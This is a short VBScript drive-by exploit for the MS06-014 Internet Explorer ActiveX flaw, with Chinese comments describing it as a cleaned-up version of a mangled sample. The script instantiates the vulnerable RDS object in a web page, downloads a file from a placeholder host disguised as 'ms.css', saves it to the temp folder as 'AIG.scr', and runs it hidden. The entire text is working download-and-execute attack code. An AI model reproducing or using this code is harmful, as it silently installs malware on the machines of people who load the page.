on error resume next '容错
'AEEWewhurl = "http://IP/exe1/ms.css"
'AEEWewh="object"
'AEEWewh2="classid"
'evilx="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
'AEEWewh3="Microsoft.XMLHTTP"
'AEEWewh4="Shell.Application"
'AEEWewh5="Scripting.FileSystemObject"
'一大堆变量连来连去..
evilcutex="AIG.scr"
Set evilcute = document.createElement("object")
evilcute.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
Set wing = evilcute.CreateObject("Microsoft.XMLHTTP","")
set fsoObj = evilcute.createobject("Adodb.Stream","")
fsoObj.type = 1
wing.Open "GET", "http://IP/exe1/ms.css", False
wing.Send
Set Virus = evilcute.createobject("Scripting.FileSystemObject","")
'fso fso..
Set evilcutes = Virus.GetSpecialFolder(2)
'Specialfolder2= %Temp%
fsoObj.open
evilcutex= Virus.BuildPath(evilcutes,evilcutex)
'BuildPath(Path,Name)
fsoObj.write wing.responseBody
fsoObj.savetofile evilcutex,2
fsoObj.close
set evilcutes = evilcute.createobject("Shell.Application","")
evilcutes.ShellExecute evilcutex,"","","open",0
'shellexecute ,,,0 = hide 代码被修改的体无完肤 整理下大概这个吧....反正一个ms06014的 |